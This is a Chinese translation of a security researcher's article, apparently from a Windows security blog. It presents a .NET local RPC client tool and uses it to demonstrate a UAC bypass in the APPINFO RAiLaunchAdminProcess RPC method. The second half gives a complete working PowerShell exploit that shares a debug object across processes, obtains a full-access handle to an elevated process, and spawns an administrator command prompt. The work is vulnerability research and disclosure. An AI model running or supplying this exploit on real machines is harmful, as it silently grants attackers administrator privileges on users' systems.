UAC绕过新思路:探寻从.NET调用本地Windows RPC服务器 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

UAC绕过新思路:探寻从.NET调用本地Windows RPC服务器

41yf1sh 系统安全 2019-12-30 11:00:00
507410
收藏

导语:本文主要描述了我如何利用在沙箱分析项目中新开发的工具来从.NET访问本地Windows RPC服务器。

一、前言

通常情况下,我热衷于在Windows中寻找安全漏洞,但在一些场景中,我更喜欢编写工具来辅助我和其他研究者的漏洞挖掘挑战。本文主要描述了我如何利用在沙箱分析项目中新开发的工具来从.NET访问本地Windows RPC服务器。我将提供一个PowerShell中的工具,并以案例来说明一种新型的、以前未曾披露过的UAC绕过方式。

在这里,我们将不会详细介绍在开发工具中遇到的挑战与解决过程,我建议想要了解这部分内容的人员可以参考我在HITB Abu Dhabi会议和Power of Community 2019会议上的演讲。

二、背景

如果大家浏览过我最近提交的安全报告,可能会发现我编写的绝大多数概念证明(PoC)都是使用C#语言的。尽管我精通C++语言,但是我发现在使用C#编写程序时,可以轻松利用操作系统中的复杂逻辑缺陷。为此,我进行了一系列的操作系统研究与整合,以改进NtApiDotNet库,在我编写PoC时就可以从NuGet中轻松引用。我认为,使用C#编写概念证明,在可靠性、便捷性方面具有许多优势,并且借助一些外部库,可以简化代码量,这对于厂商进行评估来说非常重要。

但也并不是所有内容都可以使用C#语言(或一般.NET)编写,我此前的最大盲点在于如何直接与本地RPC服务器交互。之所以产生这样的困扰,主要原因是Microsoft提供的用于生成客户端的工具仅支持C语言代码。我无法编写接口定义语言(IDL)文件并直接生成C#客户端。

但幸运的是,Microsoft在系统上提供了一个直接公开API的DLL。举例来说,当我研究数据共享服务时,我发现操作系统上还附带了DSCLIENT DLL,它与RPC服务是一对一映射调用的。随后,在我找到文档中没有体现的API之后,我可以使用P/Invoke直接调用DLL。但这种方式存在一个问题,就是它无法扩展。在这里,不需要Microsoft提供通用的DLL来访问该服务,实际上,大多数RPC客户端将直接嵌入与该服务交互的可执行文件中。

我们可以将生成的C语言代码编译到自己的DLL中,然后从.NET调用,或者使用C++/CLI的混合模式。但是,我们需要的是一个单纯的托管代码解决方案。经过大量的研究,我最终发现调用通过P/Invoke实现底层客户端代码的操作系统RPC运行时(RPCRT4.DLL)这一过程非常复杂,并且很容易出错,最佳的方案似乎是编写自己的实现方法。

本地RPC客户端的托管.NET实现具有许多优点。例如,可以消除几乎所有对本地代码的直接调用(低级内核调用除外)。这使得使用C语言客户端对服务器进行模糊测试的过程更加安全,因为最糟糕的情况也不过是产生异常。如果将无效值传递给客户端,这个异常就可能会被捕获。同样,当.NET编译器将大量的元数据生成到已经编译的程序集中时,我们可以使用反射在运行时提取有关方法和结构的信息。

三、实现过程

在开始编写本地RPC客户端这样复杂的项目之前,我们需要先了解,是否有人曾经开发过基于.NET的RPC客户端。甚至,要解答这个问题也并不简单,因为我们实际上要编写两个部分:

1、从现有RPC服务器提取信息以生成客户端的工具;

2、本地RPC客户端实现。

我们在该过程中,研究了一些工具和库,尽管最终没有成功,但它们也起到了一定的作用。

3.1 RPC View

1.PNG

RPC View是一个很棒的工具,可以检查当前正在运行的RPC服务器。该工具全部由GUI驱动(如上图所示),我们可以选择一个进程或RPC端点并检查可用的功能。在找到感兴趣的RPC服务器后,我们可以使用该工具的内置反编译器生成IDL文件,该文件可以与现有的Microsoft工具进行重新编译。尽管我们仍然需要从IDL文件下载到.NET客户端,但我们正在朝着提取RPC服务器信息的目标不断接近。

RPC View最开始是闭源代码,但在2017年开源并上传至GitHub上。但是,这些工具都是使用C/C++编写的,因此无法在.NET应用程序中轻松使用,并且IDL生成不完整(例如:缺少对系统句柄和某些结构类型的支持),因此不符合我们要解析文本格式的目的。

3.2 RPCForge

2.PNG

RPCForge项目由Clément Rouault和Thomas Imbert开发,并且由他们在PacSec上进行了演示。如果大家想了解本地RPC如何使用名为“高级本地过程调用”(ALPC)的内置无文档内核功能,并且了解如何使用ALPC来构建自己的本地RPC客户端,那么这个演示文稿是一个不错的参考。RPCForge项目是RPC客户端接口的模糊测试器,它是依赖于单独的Python for Windows项目进行的本地RPC实现。

我们粗略浏览一下代码,会发现Python编写的代码对我实现.NET托管客户端的目标并没有太大帮助。我可以尝试使用IronPython(Python 2.7的.NET实现)来运行代码,但这样做无疑增加了许多额外的工作,同时收效甚微。也许,我们可以编写一个代码转换工具,但这比编写新的实现要花费更多精力。同样,此前也从没有开发人员发布过根据RPC服务器生成客户端的工具(基于RPC View),这就使得这段代码除了供我们参考之外,没有其他用途。

3.3 SMBLibrary

我们要提到的最后一个工具是SMBLibrary项目。这是一个尚未充分了解的.NET库,它实现了服务器消息块(SMB)协议(版本1至版本3)。作为该库的一部分,已经实现了一个简单的、基于命名管道的RPC客户端。

这个库是使用C#编写的,因此对我而言可以直接使用。但遗憾的是,这个RPC客户端实现是非常基础的,仅支持一些通用RPC服务器所需的最少功能。用于本地RPC的协议与需要开发新实现的命名管道所使用的协议不同。该项目也没有任何生成客户端的工具。

如果需要对SMB服务器进行安全测试,并且需要使用.NET语言,则我们建议使用这个库。但是,这个库目前不符合我们的需要。

3.4 实现过程

我开发的实现已经全部上传至Sandbox Analysis Tools GitHub存储库中。该实现包含用于加载DLL/EXE并将RPC服务器信息提取到.NET对象的类。此外,它还包含使用网络数据表示(NDR)协议和本地RPC客户端代码封装数据的类。最终,我实现了一个客户端生成器,该生成器接收已经解析的RPC服务器信息,并生成一个C#源代码文件。

要访问这些功能,最简单的方法就是安装我的NtObjectManager PowerShell模块,该模块公开了各种用于提取RPC服务器信息和生成、连接RPC客户端的命令。接下来,我将通过一个有效的示例来具体演示这些命令的使用。

四、详细说明UAC绕过过程

既然要演示一个有效的示例,我倾向于选择一个漏洞,该漏洞只能通过直接调用RPC服务来利用。如果当前环境未安装补丁,那么这个漏洞利用也会非常有效,因为我们可以在普通的Windows环境中轻松进行演示。当然,我无法详细说明关于这个安全漏洞的细节,因为Microsoft没有考虑这一安全边界的问题,并且不会在安全更新中修复该问题,同时目前已经存在提供类似功能、未修复的公开UAC绕过方式。

UAC的完整实现,即APPINFO服务暴露的一个RPC服务器,被ShellExecute API针对用户进行了隐藏。这意味着,如果该漏洞存在于服务接口中,就没有其他方法可以直接利用RPC服务器来对其进行利用。值得注意的是,由于需要处理命令行解析,Clément和Thomas在PacSec的演讲中也提到了UAC绕过的问题,而我在这里要说明的则是一个完全不同的漏洞。

4.1 漏洞概述

APPINFO中的RPC服务器的接口ID为201ef99a-7fa0-444c-9399-19ba84f12a1a,版本为1.0。我们在服务器中调用的主RPC函数是RAiLaunchAdminProcess,该函数具体如下(已省略其中一些不重要的细节):

struct APP_PROCESS_INFORMATION {
    unsigned __int3264 ProcessHandle;
    unsigned __int3264 ThreadHandle;
    long  ProcessId;
    long  ThreadId;
};
 
long RAiLaunchAdminProcess(
    handle_t hBinding,
    [in][unique][string] wchar_t* ExecutablePath,
    [in][unique][string] wchar_t* CommandLine,
    [in] long StartFlags,
    [in] long CreateFlags,
    [in][string] wchar_t* CurrentDirectory,
    [in][string] wchar_t* WindowStation,
    [in] struct APP_STARTUP_INFO* StartupInfo,
    [in] unsigned __int3264 hWnd,
    [in] long Timeout,
    [out] struct APP_PROCESS_INFORMATION* ProcessInformation,
    [out] long *ElevationType
);

该函数中的大多数参数都与用于启动新UAC进程的CreateProcessAsUser API相似。其中,一个值得关注的参数是CreateFlags,该标志参数直接映射到了CreateProcessAsUser的dwCreateFlags参数。除了验证调用方是否已经传递CREATE_UNICODE_ENVIRONMENT之外,所有其他标志均按照原样传递给API。其中,DEBUG_PROCESS和DEBUG_ONLY_THIS_PROCESS这两个标志将自动在新的UAC进程上启用调试。

如果阅读我以前发布过的关于滥用用户模式调试器的文章,大家可能会意识到该问题的发展方向。如果我们可以在权限提升的UAC进程上启用调试,并获取其调试对象的句柄,那么可以请求第一个调试事件,该事件将返回对该进程的完全访问句柄。即使我们通常无法直接为该访问级别启动进程,这个技巧也同样有效。我们仍然需要访问调试对象的句柄。要活的一个句柄,我们可以在拥有提升进程的句柄后,请求一个NtQueryInformationProcess信息类(ProcessDebugObjectHandle)。

但在这里存在一个问题,访问进程的调试对象句柄需要对进程句柄具有PROCESS_QUERY_INFORMATION访问权限。由于安全限制,我们仅对在APP_PROCESS_INFORMATION::ProcessHandle结构字段中返回的提升权限的进程句柄具有PROCESS_QUERY_LIMITED_INFORMATION访问权限。这意味着,我们不能仅创建一个具有提升权限的进程并打开调试对象。

我们应该怎么继续利用呢?需要关注的最重要一点是,调试对象是通过调用NTDLL导出的下述函数,在CreateProcessAsUser API内部自动创建的。

NTSTATUS DbgUiConnectToDbg() {
    PTEB teb = NtCurrentTeb();
    if (teb->DbgSsReserved[1])
        return STATUS_SUCCESS;
 
    OBJECT_ATTRIBUTES ObjAttr{ sizeof(OBJECT_ATTRIBUTES) };
    return ZwCreateDebugObject(&teb->DbgSsReserved[1], DEBUG_ALL_ACCESS,
        &ObjAttr, DEBUG_KILL_ON_CLOSE);
}

调试对象的句柄存储在TEB的保留字段中。这是有道理的,因为CreateProcessAsUser和WaitForDebugEvent API不允许调用者指定显式的调试对象句柄。相反,等待调试事件必须仅在创建进程的同一线程上发生。结果将导致在同一线程上创建的带有调试标志的所有进程共享同一个调试对象。

我们回到RAiLaunchAdminProcess方法,StartFlags参数没有传递到CreateProcessAsUser API,而是用于修改RPC方法的行为。它需要许多不同的位标志。最重要的标志位于第0位中,如果该位置为1,则将提升新进程的权限,否则将不会提升权限。最重要的是,如果不提升进程权限,我们需要有足够权限来打开该进程的调试对象的句柄,该句柄可以与后续提升权限的进程进行共享。要利用这个问题,我们可以按照以下步骤操作:

1、通过RAiLaunchAdminProcess,将StartFlags设置为0,同时设置DEBUG_PROCESS create标志,来创建一个新的未提升权限的进程。这将会在服务器中RPC线程的TEB中初始化调试对象字段,并将其分配给新进程。

2、使用带有返回的进程句柄的NtQueryInformationProcess启动调试对象的句柄。

3、分离调试器,终止不再需要的新进程。

4、通过RAiLaunchAdminProcess,将StartFlags设置为1,同时设置DEBUG_PROCESS create标志,来创建一个新的提升权限的进程。由于已经初始化了TEB中的调试对象字段,因此会将步骤2中捕获的现有对象分配给新进程。

5、检索初始调试事件,该事件将返回完整的访问进程句柄。

6、使用新的进程句柄代码,可以将其注入提升权限的进程中,从而实现UAC绕过。

关于这个漏洞利用,有几点需要注意的地方。首先,不能保证每次对RAiLaunchAdminProcess的调用都使用相同的线程。RPC服务器代码使用线程池,并且可以在另一个线程上分配调用,这意味着在步骤1中创建的调试对象可能与在步骤4中分配的调试对象不同。我们可以通过多次重复执行步骤1来缓解这种情况。尝试为所有池线程初始化调试对象,捕获每个线程的句柄。我们可以有把握地确定步骤4中创建的过程将共享其中一个捕获的调试对象。

此外,在步骤4提升权限的过程中,我们仍然能看到UAC提示,但是Windows默认设置中允许Windows二进制文件在没有提示的情况下自动提升权限。在默认安装过程中,我们可以在不产生提示的情况下派生出这些Windows二进制文件,例如“任务管理器”。由于我们正在利用的漏洞位于服务中,而不是位于我们正在创建的进程,因此我们可以自由选取所需要的任何可执行文件。

需要指出的是,其他API中也重复了可以在调试状态下创建进程的行为模式。例如,WMI  Win32_Process类的Create方法使用了Win32_ProcessStartup对象,我们可以在其中指定这些相同的调试过程标志。就目前而言,我还没有研究出来该如何利用这种行为,但可以继续对这一方面进行研究。

4.2 使用PowerShell进行漏洞利用

最后,我们使用自行编写的工具来利用这一UAC绕过漏洞。我们将使用NtObjectManager PowerShell模块,因为这是最快速的方法。针对其中的每一步,我都会简要说明在PowerShell命令行中应该执行的代码。

步骤1:从PowerShell库中,为当前用户安装NtObjectManager模块。我们还需要设置PowerShell执行策略,以允许运行未签名的脚本。需要关注的是,如果已经安装了NtObjectManager,需要确保升级到最新版本,可以运行Update-Module命令。

Install-Module "NtObjectManager" -Scope CurrentUser

步骤2:解析APPINFO.DLL服务可执行文件,从DLL中提取所有RPC服务器,然后根据接口ID过滤掉除了目标RPC服务器之外的所有内容。我们也可以将-DbgHelpPath参数添加到Get-RpcServer,以指向Windows调试工具中的DBGHELP.DLL副本,以使用公共符号来解析方法名称。在这种情况下,我们将在步骤3中使用其他方法,以确保函数名称正确。

$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" `
 | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"

步骤3:重命名RPC服务器接口的某些特定部分。解析后的RPC服务器对象具有用于方法名称、参数、结构字段等的可变名称字符串。尽管无需执行这一步骤,但为了使其余代码更加易于理解,我们可以手动分配名称,也可以将XML文件与名称信息一起使用。我们可以使用Get-RpcServerName函数为服务器生成完整的XML文件,然后对其进行编辑。下面是一个简单的XML文件示例,它将会重命名选择的部分:

  201ef99a-7fa0-444c-9399-19ba84f12a1a  1  0            0      RAiLaunchAdminProcess                        10          ProcessInformation                              0            APP_STARTUP_INFO              2                        0          ProcessHandle                    APP_PROCESS_INFORMATION

我们将文件保存为names.xml,可以使用以下代码将其应用于RPC服务器对象:

步骤4:基于RPC服务器创建客户端对象。在这一过程中,会生成一个实现RPC客户端的C#源代码文件,然后将这个C#文件编译为一个临时程序集,最后将创建该客户端对象的新实例。RPC客户端目前尚未连接,它仅实现公开的功能和用于编排参数的代码。如果要检查生成的C#代码,还可以使用Format-RpcClient函数。

$client = Get-RpcClient $rpc

步骤5:将客户端连接到本地RPC服务器的ALPC端口。由于UAC RPC服务器使用RPC端点映射器,因此我们不需要知道ALPC端口的名称,就可以自动查找它。如果已经使用特定的启动触发器注册了服务(例如APPINFO服务),该过程还将自动启动系统服务,这将非常有帮助。

Connect-RpcClient $client

步骤6:定义一个PowerShell函数,以包装对RAiLaunchAdminProcess方法的调用。这样一来就使得调用更加容易,特别是在遇到需要多次调用的情况时。我们将DEBUG_PROCESS标志传递给进程创建,但无论是否提升进程权限,都将其设置为可选。该函数将返回一个NtProcess对象,可用于访问所创建进程的属性,包括调试对象。请注意,在调用RAiLaunchAdminProcess时,所使用的参数(例如:ProcessInformation)已经转换为返回结构。这对于PowerShell的使用来说是非常方便的,如果我们确实需要使用out和ref参数,可以将其禁用。

function Start-Uac {
  Param(
    [Parameter(Mandatory, Position = 0)]
    [string]$Executable,
    [switch]$RunAsAdmin
  )
 
  $CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor `
        [NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment
  $StartInfo = $client.New.APP_STARTUP_INFO()
 
  $result = $client.RAiLaunchAdminProcess($Executable, $Executable,`
          [int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`
          "C:\", "WinSta0\Default", $StartInfo, 0, -1)
  if ($result.retval -ne 0) {
    $ex = [System.ComponentModel.Win32Exception]::new($result.retval)
    throw $ex
  }
 
  $h = $result.ProcessInformation.ProcessHandle.Value
  Get-NtObjectFromHandle $h -OwnsHandle
}

步骤7:创建一个非权限进程并捕获调试对象。不管我们在这里创建的是什么进程,都可以使用记事本。在有了调试对象后,我们需要将进程与调试器分离,否则在我们等待调试事件时,就会与提升权限的进程的消息混在一起。同样,如果我们不进行分离,该进程实际上将不会终止。

$p = Start-Uac "c:\windows\system32\notepad.exe"
$dbg = Get-NtDebug -Process $p
Stop-NtProcess $p
Remove-NtDebugProcess $dbg -Process $p

步骤8:创建一个提升权限的进程。在具体场景之中,应该选择一个能自动提升权限的应用程序,例如任务管理器。我们发现,分配给提升权限的进程的调试对象与步骤7中捕获的调试对象相同,除非此时由另一个线程为RPC请求提供服务。现在,我们在调试对象上进行等待,以获取初始进程创建调试事件,并从中提取到特权进程句柄。需要注意的是,在初始调试事件中返回的句柄没有完整特权,它缺少了PROCESS_SUSPEND_RESUME,这使得我们无法从调试对象中分离进程。但是,我们已经具有PROCESS_DUP_HANDLE权限,因此可以通过使用Copy-NtObject从提升权限的进程中复制当前进程的伪句柄(-1),从而获得具有完整特权的句柄。

$p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin
$ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg
$h = [IntPtr]-1
$new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h
Remove-NtDebugProcess $dbg -Process $new_p

步骤9:$new_p变量现在应该包含一个完整特权的进程句柄。我们可以使用一种执行任意特权代码的快速方法——将句柄作为新进程的父进程。例如,下面的命令将以管理员身份生成命令提示符。

New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole

至此,我们就完整展示了示例。希望通过上述示例能为大家提供足够的信息,以加速工具的使用速度,同时能在PowerShell中有效地利用它。

五、在C#中使用RPC客户端

为了完善这篇文章,我在最后需要说明如何使用C#来利用这个工具,而非PowerShell。编译C#文件的最简单方法是使用PowerShell中的Format-RpcClient命令或C#中的RpcClientBuilder类,从已经解析的RPC服务器生成该文件。在PowerShell中,解析目录中的多个可执行文件,然后使用下面示例的命令为每个服务器生成客户端。在示例中,解析了所有system32 DLL,并在输出路径中生成单独的C#文件:

$rpcs = ls "c:\windows\system32\*.dll" | Get-RpcServer
$rpcs | Format-RpcClient -OutputPath "cs_output"

然后,我们可以获取所需的C#文件,并将其添加到Visual Studio项目中,或者手动进行编译。我们还需要从NuGet提取NtApiDotNet库,以获取常规的本地RPC客户端代码,它甚至可以在.NET Core中运行,但显然不能在Windows之外的平台上运行。

要使用客户端,我们可以编写以下C#代码。所使用的具体语句(第一行)要根据RPC服务器的接口ID和版本进行修改。

using rpc_201ef99a_7fa0_444c_9399_19ba84f12a1a_1_0;
 
Client client = new Client();
client.Connect();
client.RAiLaunchAdminProcess("c:\windows\system32\notepad.exe", ...);

我们可以传递给Format-RpcClient以更改有关输出的一些其他选项,例如指定命名空间和客户端名称,以及在PowerShell使用的结构中返回out参数的选项。生成所有客户端的过程非常耗时,特别是如果要针对所有受支持的Windows版本执行此操作,并且希望解析命名的公共符号时。但是我已经帮助大家完成了这项工作,可以在GitHub上找到WindowsRpcClient项目,里面已经为Windows 7、Windows 8.1和Windows 10 1803、1903、1909预先生成了客户端。由于代码是自动生成的,因此不包含任何特定的证书,这一点和NtApiDotNet库一样。 

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务